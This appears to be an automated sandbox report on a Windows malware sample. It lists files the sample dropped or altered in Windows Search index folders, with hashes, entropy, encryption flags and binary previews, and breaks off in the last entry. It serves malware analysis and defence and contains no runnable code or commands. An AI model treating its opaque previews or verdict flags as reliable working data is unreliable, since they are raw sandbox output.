C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9f722c99-bd7b-4266-8623-d49517e10886}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996638985559492
Encrypted:	true
SSDEEP:	1536:iX7gxlipYeWUKcQNkN/rBQdBzkAlg+JIt:iXKLrl0MQt
MD5:	CE0075A77460514C199832E00B50CDBC
SHA1:	CE0E0106B6DF0958D9FDAC89D4DE08657EB19615
SHA-256:	68C8786F4E65A3B951C5BF85A0187FC4DEADD3FC7A26A2628600F34F3FF5D705
SHA-512:	C386336F93923C27A525A5322C5EC637FB6F47C87B1A98BE91367548FE90FEC9E084E1551DF0222B641455ED80F83CF786CE0807748B0332C1B23445D23EE98A
Malicious:	true
Preview:	.....!.........Ck ..k6...@KK..d].Q....:...9..u+%M8...@J.6.e........}.]..sN..1.t.\|.#...cs......y.\|W.Z.Dgk.B......FY....=.v8@.....eD.^.....=k.qEC..Q.7...@...37.wl..\...O.,...ZL......H.(.........%\|D...D.\..>8.......M..Lo.f...k.rj.s.f..h$.X.k.4.=k.8......iU... .L.V~....m.N..@rt.ml...........4..B...+..$......t?...C......y..k..K2.b...OL..G.......)/...W...........9.....x.:)Zlc%...g.L..2..w.zp.no.]...2d.7...P.7Q....T.t..H.-....X8lw...5.5....y.Co.Q..c.=r....x.t.............#...T...G......~Hm.W..v..6l.Qsf.....rV........n.....P/.;..v.....L-...+..h........"T.L.dl. y.7.F..BaD.;..0.U~...aJT.....u...M......g..........FM..K....~..$..p..\w./..m.D.rX.=.y..........h...c..,#..?...R..-Ky......Q'....v..j...:...4...^.?.J..SJ....A.M1.8@..k.%..K.<[a....O.E......u.C..)QI.........v ...\|"..V..M..8..\..Wur_.....b.R.e.........{c=.j.\|.5y...x.&!H.......0.{.FKTk.N.b_.X..4_b>.N,4..V.N.......t#&....Vt..KY...F.."......29.n$x.......u...:.Z.]..fr..O.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9f722c99-bd7b-4266-8623-d49517e10886}\Apps.index

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.542631904281119
Encrypted:	false
SSDEEP:	24576:3hLwz/6jeYfoyFxz8GfoLr7YfoyFxz8G21itE:3hLs6jFf1xz8GfMwf1xz8G2R
MD5:	AF3DEAAE337D3F5A7B6F28A48B802E6D
SHA1:	F353BCB255C30211CE84EE5EA829BF755DB2393C
SHA-256:	F822EF0C43A0E6375193DF4FED304E4D48FDBFDBADAB645D510D243A49363C09
SHA-512:	B99F6A5A0C53E4B85BFBE82491410A1E0DF75B24F0E488363C2873524ED8698A77F1EB7C92BA31991D5832510EE6D35A321745DDF74F4E98A26E7F5C99B84DDB
Malicious:	false
Preview:	Ej..D..1;P.....sk..[...gb.....q......tc"..!h..9b@...{^Gz..s.A..N,!.......e7..Zi.D.;K.....).M=......B).....y =O.../S5.bJ;..W.t....UX.Z...#5....1..5..8..g.f%..Sc.".....Q.X..."...2r3.8_+4.L...N.o?...cc.....].%y&...c...}.7}..~("...`..k_......>.[.../.h<..R.Np..S.I..@... .....1g.0.......Z.....8.....j.y61.X../....<'R...K9.[G.Z#r.+../3d.B\...h8.....toHT..f}..@.C5..e.W...N`...z...~.....U..I.E..B......X....CY...-.....A^jw6......D....B..94.?PCnr^..jQC....`k.#.B.9\|..\|.=.,...0'.Iz......#oi.0.T`.......N..k._+.}.D'.[.O.+......y.k.....SY..X....X...c.L...F.%R..v.Em..O...6V.#}.x..:.}..eJC..W9ca9%.....#...W.".....f..._.(..l..^D..g\|.i!/.I... .U.Z.Q....=.g........R6Z.....q.,b.......t.Dp.^....4(e..J.,....d./.%..n.ZS.8.(..N-.07..bg?[..[...QC.!.K..g.JwWa....^.H+a^MQ.q1.w......p.....#..5.......9g..=.......j...&....IR.A.?....i...?x@.zy.c.%.\../...Y.;..;xg..T..f51E.....=B.....40.....e..+....2..... ].5'....s.W=......"T......D..1......Kh.."e.G.'.*K@.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.csg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.673681101640175
Encrypted:	false
SSDEEP:	24:TyymgFjo33eun+uY3YGWXTKtgNOSK12bD:TyyPlo3uu+uYIGntgNzD
MD5:	F2AD45DFD0BA98EF51C40AD9F027F189
SHA1:	B06135D6B542D9A50561302B0BFF578BF142AF2C
SHA-256:	D8153D0209770402DECCFD628970916FCD11066632C59BE5651F6E641BDE6D73
SHA-512:	616BA9FC9E74203672087062C0413A11DA15BB4537BBC108808EB22D62579BEA1379A1C301327D73FD5602CA562C7133CAD86D50FA046DCF19D6135DE5B4CB40
Malicious:	false
Preview:	.....P.X........A.H...u .H....."AFhz.1.8B.M.....-.....0..6r...eF..E.ZW.OO...$DF..f.]_g.!.o.\.%}.....YA.....A..g....fG^c.df9......5.mE..3.&....D.q\.......W.d.^VG".}^~........B...Vr...M.......!M....\|......o.\|.F....8.5..mR..R....f.e..6%U7$..{.....v.%.;.<........B~....#...c......X..5......p+..6..(-..........X..>,0A....i4.....1.e.......!R.4.3A*.v.w..T..\|.2?+.3......).L+.:P......^...\.....Y\|M._._)..Z.r..3Nu..mJ.@.ev....?......s......yQ. x.[...6..C.6....6Q..... D....-.]..."...V.1..j.y..o..9>%.../...... ......X..v.l....O.....1.l;[.s...;.....H...y..a.....cZ.D..8.....]...O.h.......S.1.+..m.l..E..>.....v....4hMb?@4..^.-h......?.<e......S._...`O$..yl6.kH....AE....!mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.schema

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.512467508297718
Encrypted:	false
SSDEEP:	12:jBNDvVEb9DbP+sTpfEG63YvsnEZ1D4nKms2tr04SSUdNcii9a:jB5vVGTpcG6CBZJL2BLh2bD
MD5:	EAD18CF5487C4DF7F4ECF0B94464465F
SHA1:	E22CCB624C7BD8C0685CD8238670AA9B04D11165
SHA-256:	F5DAC3983C34BAEBCB80B536DAEA09B963311D659119C995CA5915814992020A
SHA-512:	27686F2891982232A09E88A16E2142B55DC0BA3A0034E838D4B0E422225950F6CFC9BBF53D9EB4FE54B05B8885162E7A1547112EBFAB28E35262057D0764B4D9
Malicious:	false
Preview:	Windos.H....}jP..(..=<.....9.....U+...i.f...6.o.N:..O.ZDS....T.2.7... 2.v....Wl.L0`.[....J.rA6..\|.8.#.=8..\|.9(..P...U..V".....E.kJ..&.?...z%d...ux,..ls..7f....O...4T.....$...x..................Np8!_..b...p...bc...}K.....^.SIl.......\|...-_.".8R.2.;~<.....F.<...h.Lo..xd<XOz.4fK...G,.8.g<.B.x..Y..L......Y.....:.I+tOVuh....h.g1..{.......g.......\.S.F.....i.....v.FR........Z.....[.;...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.416608501830737
Encrypted:	false
SSDEEP:	24576:qU/iSzWk5Mjdr9yEKzC79ufKZDXkmn63mlDEyjMT:v6KMVD47
MD5:	C968DDBEE43382D0098C9AD7373D5338
SHA1:	102C58748BC91ABBB8068DA574B91C7D646F0F02
SHA-256:	B420B12E0B98C98E0E92F489B1C1EE2628EFEB4ED68A2EEAB254AD3082E75C70
SHA-512:	4B13905716671DA81AC66AB5288508C9BE71F06FE3C8A68A1E6E572C6F056967237986B53828CCD58710E35B0AC668ACCF3B349E231537E5822118C7FA39E016
Malicious:	false
Preview:	marke.^.s0.0........<.......+3.$....5.o......\|`..'X<?e5-)0Z....<..\|..l.A..8\|..(.\...78:h.P.l;.Q..0iOubvT.p...t.<.>........N.O`....u[./..H...m.......~.......D...u..yF...........R.%.t.h..T...r$L.........&..K..#YK..;.....){T...0.2......T.k...g).7J...g.t..#v{.E....t..x...#...3...l..l...v..[..K....$810...qz.zx.>.........pGZ}...'...'..i..,L..Q-....?H...$....?a....j......s.mh.N6.hH.7.%.J.nP..@~...r.j).{..../..Q.Fh.F..;..z...)_.7..7......~...A.yF.p.<\|...sp..M.X.....`.H.\.v...E}.......A....u.Y1l..D..s....X.(....#.:..J.>.AG.Dw.~...Zb\|e...n..hE........_9e4.'06.<...g..i....0"......}:~..[..(..LYCf.c%(.........l..... ....9.b.&\|\........ V..N&F.dL...nv4..r.........%.\|...:.......m".......J.....f...T........r..........'...ec}NA.....o.-.B.F.G.".....[m{oe./.....ATF>.Y..e.7...#w:.v..}......j...........j.,..OQ...G4.9.96.=eR......m.......kP.?f..5.g.a.....OZ..`n+...vai.T....bXJ..G ......%..z.[..%%..(.}.)j#.. O`Q...a.V..7...L^S....;...=X...........HF.g.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.2278153130020835
Encrypted:	false
SSDEEP:	6144:uU280DIkd6PeLp48x71BoIJcdiOs1YL6hB5PsqCft:u380DIkYmLO0Cwcdpimqit
MD5:	740F05B1393677DA721EBFC2E70C0516
SHA1:	D5B3F65F286A6184216A45885513695D456CEE8E
SHA-256:	4A139F82916D209E9A44AB637A4851BD774D39D141AA0D7487748055500D0EC0
SHA-512:	000633000FF046F3CE3A58CDF568B8E3E3F222E06D84E60882E6C99B1A08D8C73C04CD206718103AA446FB9E665AA29EF1F2080F97C0CE4CE6BCC1918865B1E0
Malicious:	true
Preview:	{1AC16.bC,.{.\..m.....h....W....x.?B......2L..Xh.C..w.!..o.x.(1.!....h.....d..8...}..F...-F.M..c...~A....".n,..^)f..e.F....]..[Ou...U..${ES.U...#..D.L.a!.aG....@w.B!.'......<..b.(...^>......pb..1..gf.l.....',(4.CV..{C...ds..U..d..[i5.12..la..(.......U3LC.)Z-.x........b...IP...O.......V~...rs..D.9n....q...-..P.....\|w..l....4.\;@P..z.m.fcy.\|Z..^..O...1..y..Z;@...u.6..u.=...X.%.=..%5..../...!iu\|.....u.4.EF+.K$..6/)`.$\|..AS05.bTG.wM......4..l..9..O.C....4.M...u.s._#_..5:[.=P...v.....>..Y..8.a./.M..x.kc.z..c.".3....A....OP....8B.....u.......!.$.R[.6,,`y44..Um..\.^TgK.bF9'............?e.>..a.pA.eP...s......Ai....k..._..e......oJ.....,rJ-qx...ClA.....R.j_...f...<D5=h.Y..T.b..".b..\|=...;.!.A...l...8.f.7... .M.~.3.d.(J99..Hg..9.(\|p.\.38Q9...j(-.*...\W.G%.7....\.v.......A2jPH]...&$.H.mx@..>..L.\|....j.2.........D.F...."P^.........Pmt[.<.-H~{.:....)..$yL.5R...r.......H.r.m...X....>.-.'Q...a....]................9A.s-u...rP.....0z.}.\|.....n.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.512114166242093
Encrypted:	false
SSDEEP:	3072:nlSWBl4Qy3j0gXt1sZ/kPMlu4jWF5Y9BuIdd7+HugSFsIMs+zCmTXFePKA:n0YlC0ytCCMsPF5On74SaImCyXFePKA
MD5:	62D335DE0B9A4485DA7FB1F63ACC170C
SHA1:	12FABB674B94A595254F8F35C9563FA75F26E643
SHA-256:	53C87FCF1949D4D9ACEF08F385D9754FE5C2B8B5E0774D6B76C2773794EDCCA7
SHA-512:	2647A99AC763E0AB1FB2838D4F0547B47865DF9E1FE18E44367C3704C5F116CB0847B2D4F91154433D076B79CE2EEAF998D18882B7910B902E81B496E39D9E1A
Malicious:	false
Preview:	\|.\|..&..~.^.....(.._.T.....w`$.A).d./w.5P...."..C...HX.Mo...9{........^.H.r[x.x....>..7...(\|q!n..W3;.o.........I{W..U.....Y.a.P....WE....m..3.N.....+[.u...............E..)0mX \|................K.n_...&.....>(....R4..1/.6s.w.`!`..{.HD&.n....'...Z!z.R$gr..OH...S9%B....AfqQ.vJ.M.[.(9.............'ed8F6...]1V...J\...~4{`...6.....X"..ot..H.......Z0...Z..,..?).}.f.(.v1..jCw.I..CF.X.%.>..A..v.....b..`..?.8W.w..g....Y..H8\ ...qTK.(/i:..#.P.S.(}r%._-.g...P........~Id..0G.T.44..l..vj.X.....[j.4p..#......}...7.AS..._c.C.12..s"..h-h...t..J...C-.j.b.R......[..<.`.e^..;Ak!7b.X..!......O.CJS...~...IR.S[=%.H.{nTh%B<.....b.....ve....3...S.0... ....i1]?..\...z.<S=.bK!.\|1...U..4.6...pP............gi..B#'.....&..JL.i..wV...=`......-n.........QZ...t.Y..t.'.@...p .N.J.<[....G.J=....?.....@..X..`...V.c.b.....ui%.Zgc>.6A.[.Q.,o...GF..?[\R.=u.x_....w..U\....-Q.E..........t..%..y*.....7.)..?Eg(....gM...........R..s....'.;..`..a...=..H..k.e@...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.csg

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.750286711402377
Encrypted:	false
SSDEEP:	24:Ddu2OowYbG2I7pAk8/udNxoKTj85dWhr912bD:DsDo/YpATAM/WzOD
MD5:	409A86A823366CBDACD1D97ACB6BD523
SHA1:	76751F11FD29DEF00A09EF506F6F30A367DA1219
SHA-256:	A23C2EA4919EA475CC6DFCF626769DB1902DB7479E2F1755DB22C08854A50C58
SHA-512:	4AA4E287D1622122A3ED1CA4FC64805C3B63D5822A2658E92EC53B0E7D964D445309CCF598AFC106A7C4B695314AFD1F9447568EC09B180EC77A6D3EAE6272F9
Malicious:	false
Preview:	.......A..VY...\.]...w.%...%...b.......<[....t.....0....].e..2.1`.....3.{.ZE;...5R...-..+.F9.e..UC.L.M.u..>..[..LC\.........BT....M.S>..7v.WP[Y@...%..s...u..m.S\..\G...V....X.b..O..K.x....H........}%;...Z\sL.].`......V.b)......L...'f(.<b....X#.......g5.NH.Po...{/..S..h4....S..8.....vg0.3m..UA.......3..}.....32.....b.u`..<L.^.jK.FW.%_....GV.Wd..........Vk....c..mS.p`.....A...1.2.j*4=k\|.f....s..o.+..".y.2.^[..h...6$..E=.c.3.'<.F.4..$..^.%y...)5...A...G....m..!P.s..!....`i.$..>.&;$...I.f.<..9?..../S,#.H3.q...k?.,.&...K_..X.!......Z...B...J).:."..N...2-?M<.........p..K.h.. .._..U... /;%%n..x...^Mg..o"....4......C(z...M. ....0.;........k{.a.j.E.%.G.?.U.t\|....L.Q..{y...g..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settings.schema

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.514533940115143
Encrypted:	false
SSDEEP:	12:jBhdExePTluGffwZUCkSOJoxzp3QQkV+Lm2KPzR5SUdNcii9a:jBrEx8ZuGffwZAGuQcj1P9M2bD
MD5:	D3E9C615806A9E9210D24C3B9FB5AA4A
SHA1:	683617AD09BBC91CBC0C7355B2B3E6AEA386F6CC
SHA-256:	BB21FF08601F7DE99696B8010C60CD2BDE5CC1E6AEFFF5DC7EA1550CEBE3480B
SHA-512:	2EC3974F23690C1EDCDCAD65607EC43ADB5D8145A5DA919393457AF8489B298394A0A7CADB902408B701073752B06E02CEB0F68EC9FCD5DD4C39B8869FFC4780
Malicious:	false
Preview:	Windou.@.."..?....r..E.g..s..f.....s.#.N... Oo..M/.#e4...?...q6...>...@-..\8..yS..}J...[O...._O..-.j.N.%j]...pgj.$...%..[...*.]..Q/.....`o..........\-$.+w......w%nb.,v....o.V}.W.B9z....c.w..$ac/5M.....;>?...5...^\|Jh.-}.Q.1..B..4....h..N4....JK~t.z[7....n....X'..6...]o.T...ea..;..v.....TC..5...r)..s..O.z\|h.$......A..B....8.g./B.y.>.+..$.p.<].L.9w.H.C..7..t.5.R..q..#..4...F...^xiB..5...>gQ..F...,..0.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.258996843175971
Encrypted:	false
SSDEEP:	6144:SpjRAdNmubTbNtBOzgb06sVxj8dAB4u2OsfnEa83LGWCAFdkwQknzBc8Q:SRRXufbNtwbxjiuTsP583eAMwQknzBcz
MD5:	AB6074D2EAF2D33FE9E431A35BCF0C3F
SHA1:	871324B6A24A88AAE951B159050240446E20F8EE
SHA-256:	E2BE45D5059467CD121441BF7BE260DBEC1B98E584CA3C99825DEFE3CB4AE394
SHA-512:	CA1E48BADFB44B3FCB9935B2909A35BA52E03FD9B05A415DBCCC88516B3706BA46255BF6FD1D10F3DE1448D710358BB06746CE25CE5D3FE66B5F5F5163CEC5AD
Malicious:	false
Preview:	markeb..j........m)...6X. .{.?&.k.._C..H....P.....Ji......K..\('..G.F1...VLHx%..^;..c.\...~M..3.@......N..\|..:.6j.........>.J..%T'..\b.. <..g.yI.[=.";..?..P.V...o.......k.?...U.(.......w....Z$Gz... ......8M....f.f..&.i...c.......l.w.tC....s;H.Et&...Od........9.#.j.2...#............t.[...x.J\|.<y...e.....\./.7.$.].`\|\|..,....Q.>........A..5..od.8h....../V...%B...\...;u.X.......$..X...H..f...S.&....t..)x...nW.~. .k.T;.C..iS_9{kE...f.n..L...O.....Y3..0j....1r.......pg.v.....2l.....W.I...3..4.}m.Ffcz.#...0.....`...dj.5.F5....C.x..M...n._pg7.f...%.....KQ..<.....2.]co...V]...<%.B$..Dl..\|Jt5..{G.h..6;.x.n.....#9.$q.eh..~.-.i.u..d.&..%.o95...5..k.rx......0.......(B..)....w..b[.d.G..R..c.g..KzK...s...i.b#....F...Y..E...,......w.m\|.'6P...j.@J...^..R.K 0.:....x^P..Lj...Z...Z.]#8......P.`......eV4.v.y....qlW..A^..`O.p*.::...m..r....x...s...D........GF......}C7~.O......d6jq..yT..WI.H.~.\...s.Q.2.3C.`.......R.......@.....\|.UB..i.4.G.>l..p....e..5.[8.#s ..F...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.995963397062072
Encrypted:	true
SSDEEP:	768:1EgIt1W+11IBS7uUFIZC735cg0S5QN4GiWdYhqNTJJok9ob2l+eDhd7:14IBSrFgmolVe6Jc2+eD/7
MD5:	BB16B1B12C5FC844F43A10873D940F2F
SHA1:	50A9163545A2F7E029BBEA6D7895B76D32DE91C7
SHA-256:	346DEE0E1C7660CF44A8F8B449BC6C89199FD73A80FBFC89E9598F7CCFB25B93
SHA-512:	3C9AFD742BBC34C70CA8A5A569572943A0EE70A442DC8CC8506E453E15EB5AD271864CE6358F7FE944CFD7DFB06725074D6F9AF799379855DEAF5723D80BDFB3
Malicious:	true
Preview:	AAA_S...._..t.=a...B.Z.V..&..T&!.,.j....2.....-\|...h6...j.I...!......./._....=.....a..s.x..........(.lE:/4 ...t...F...D.....\.V..x(.E9-E#fZ.....3..R.."7....l~.=.......Y...e...bC...<jFN=.....A38k..f....od..um...]...]..V....%r$..N..hsT)...P:5f.}..../Z../........uozM#.E...2......4\...n.p...<X.S5.MY.aW.H.J..=..........d.`.S..Y.8.....L....J....5CDI...>.9...d.o..l._.T.^.....;s<..[{......:.."...^....W.....Kg..?g...N...?.....\|n8...jM...B..g.%.(....$.....<..&.Tm...1.j..X..'.9...Q...`B.v...........Wg.NI..../O...+........)F....NVC....;....g.$\|....d.X..E.5.?....t.i.a.1.x.F....^....YU......JV...a)uY1....n..v.SU..;.i..h...#6.3....{..e..l.U!...;^l.j+.P&.e.a...........4..(<.....^.........}\...'gFQ....DP3e..NA}.5..#:....d.%..%.^_....#.I.n......H...."8........#.'.....;.J..<{`x.......CO(.B..X.-..........r..nQ..<.Z')A.j.@.M.D.ti.r...k...<..%...W..!qI(...8?.A{.r,a{1..H*$...~h.w....1H..fz.CT...b...;...1..rc..." ..o..R.a.....Ra..T.S.,.y...c..../.=.M.H....._

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998126165411526
Encrypted:	true
SSDEEP:	1536:ijo2fYiNnIxQQ/yG66RMYzLy9zn3JO2MmuRTaFTMA7Wnk4dWI/dF2UGPeQJiDDFO:ijoIYiNn2R/mz5O2M1Wr7Wky/doBWDo
MD5:	7D1DD8B1338D68ACF301A512C3C6EB45
SHA1:	872B9FF5D0ED3A7E8C8D69157527B1D2DFE50082
SHA-256:	FDB3B2BAEBC3CAB14A6F189A3F494F9804E551A859CCB82081B563B54F38BB0D
SHA-512:	3868B8615692AB6A638C077DA775CA5EAB1AD460210FEF49486B51BD0A638CCFD6E3BBEA90C978926D81F0A3FED0CEB78AFE969D57A30B8FFD76246EDA71050F
Malicious:	true
Preview:	\|priq+..v...u.;<cG....ZW'Y.>.t...].6O..m.......e....E.$ n~F..~...v...]V,?.....h......mH.r-'q.=y;..6.(r..o..>.;....36y.a.i.(.....zc0.....{...D.4.F.)........3]...),..o0...?.U...-5?......Z.....\...o.......ts' ["J\|K..M...Yx.^.M0....E....}Q8+{].9.1T.X.$....h...P...$.5......O.]..Hg...q.S.../.L.Y..^........rR....-B...3 .%.W....%........q..TRN.;...3...C......E.<.>O.SQ..n......F.f.8W..`M.i.4X.HE..(.....m...M..z....=.w......."f./,...[..^..."s.U...S...J. ..V...ZbN.pG.0......F...Z..ct.....coC.-..[.x6.u..Z.....x..Ze......o...Ym`.=g.....P..$........o..Z.2..m.V.x.vR.V....k$..{...In.(].....@..c...w....v.;.4.zG.l[M.~4......\4.*.9.....}.f.<.6@...6.Z..o.......A.....9..b...P........~8.X...o....44.H...C$.f...N..]..........a.!'~...1.A.X..i.H.!.~h.c.2..../.........R....v_..1...X.',`..{..e.diK+..x`h..H,..5B$..,..0.>.D.'L..u..(.V.....p. .....1.$...y......i..........6...=r..w..i.................{.8.bFF..1...b'...I.[It.....vR..j9.mk..7.n.\|...&..&....r.2.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.583726682331801
Encrypted:	false
SSDEEP:	6144:f+9Wo52o/s5GNeFwMSo2vPSpF8zLjCxc81Cd0:G9j59/sQNeFBTF8e
MD5:	7D49C2EAB7A12651C2B6701C74D98C3F
SHA1:	65698FCF15D9C1D6025241ED4ED914750162EE4D
SHA-256:	A618E52773098C085D369FDAF3C38FEB2B61410EF27E696F31EDB312ED940D14
SHA-512:	A6C76C3B53A473373FFE3BC0B0BE949ACC144CBC0B42F543EF35579148EE955170A91E187032B3F7077CA8C56627F752F048AC94CBF2645C084589361109AD84
Malicious:	true
Preview:	0.0..E..5.>OY......c.l).+...<.T....wc(;..m....$..hw..m..X..F..m....Q.hW...c...o....B76K...(>.w..p.j.z.<.V..A................).P..\|....P\|...6IU...g:.....J.UYM.P@w:.U%......kV].\B.N..:%.....J...'..>.V.y.#.X.....8~C..Ot.+.rl.f../.).A..Ul...bc.n.....=X'."'W.M..[..#CC&}E.. iK.....9.....C5...~.K..[L\|X.nw..p..D....c.L..G.l%8}..Hc...n...<.B&.p.LpMI.-..x.-A..... Q.0c~...J.t....C&.s.....V.6..n...~...+~...T..v.c.J....lS.tMkr{...#x...C...~}....N.....7m...d...g.k....k.....Co..n..!K..K..E.aS..:.../h...e.....P./Y.'7}.pc...;<..G.V..D...B.h@+X..LE.H....2u..g....).py4.S.@..K..u...ic..(.@M...i..y.[PX..q...}..l..-yLPD6$:${.r...p........l...a..".........p.$...)....6....b..\.....t.W....<.)[..\G.2.B....k.;u...I<.D.X.x....P..i.........G.6..Q.~...`.<....p.h...Uu.<3.bV.......E...b..SFj.H......Q..u:p..g.Ou....J...R.2"..n.I..........5&.qC.....:n..O.2Z.Y..( ..0m.5.%.9.."M.....7"u....j$s..Q._..k...,.G.*R%#\..+(.)...g.'1......y.}Kg$,.c1#g......Do.N..l8_../.!.u6#).z

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.35085888371979
Encrypted:	false
SSDEEP:	3072:sBJ+C7wCyHaZ9FQ0SLajjwz2g4vsbOFLD9Qg4lxcC9ECNEFME3by/pcU7l:ZcwCuv0Jn6aJD9bCNf
MD5:	77BA40A49A1E0942FBF18315E08E7D7D
SHA1:	A8E0B9E73D41F881CE99C9B5752B56ED8498ADDE
SHA-256:	B47499F3CE1FED57F64782EC13DBAB51165F55CF4802235E334C875C0629E562
SHA-512:	3EADB1AB9982261B8DB5A468FD61A0C913A00E66FFA3FC6F496C4EA87C1C058D53C0AA7F55DACFFC386D148BEA13D0FB67A7C02C552ED6380B18B151E7C2AF35
Malicious:	false
Preview:	.....DC....i..p..?..r.L.tg.1K4A.P4...VLH...B6.C..X.....).0.I....<C9+".`L.G._=..6;t$...E...1.A`7...#(.....id......p.z...e...c.................D....Vq...DSh.:t..n.lV.7oLj.W.p!.].>...$.......V..u.'...x.`$L2.+..=.q......D....L4....-eyc.L.Z.G.dUJ.5."...54...7c6....I.\qql...C.J.k.M.1g..6.RJ.0V........K..y....T.3z\|Se..zH..._#.)a..A@..c...._.4.v....R........".}QY.?I..^EO...X..`)d~.......?.E.....,........y.f.2V.......<.d.7iuq..h."..B".Q,..k.8{x..4.Ru.sZ.8........-4D...m.N..Q32.M....E.3...Q. .>.+.H.CG.z...$pM...f....<...Y.,.\|...\.&.j...K..#..;..D3~%./e..HV.......Kc;x}.......3{&>.R..;.fF..-.cJ...b.B...W....y..ell....~.BBG...H...B....r.d;...8L.:....V....M..G9V@rn..rQ.`(....p9...i...(.V..g.4......J:..".,C .-5..3.GqR.5...E.6......5..k....k.g...?..*4R.4&..)..$..;.....6.D.Y..59.I.f... .}..,...k.....GCRD.E=.4.....p......#.....3&......8.L..ur..u..x.28.6.....,t~.o.m...#..;..r.....E.Y..I..(.`.........c.G`.>)r..I...i.&.T...s...^\..6Nq.+.'Ub.0.....TJI.lC...N.v

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\Settings.index

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.657713012362198
Encrypted:	false
SSDEEP:	24576:0NnnCjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuo:aECF8hR3z1rM3lVKSuo
MD5:	E9CFEAF5BFCFCF51B1766B4983619562
SHA1:	9ADB0F6608184E4518C037AD6E89475A158D5991
SHA-256:	8DFC4F0F641385786623DD0AD461A51AA53BEF6C655D5810F28C3EEEC1F1DFD2
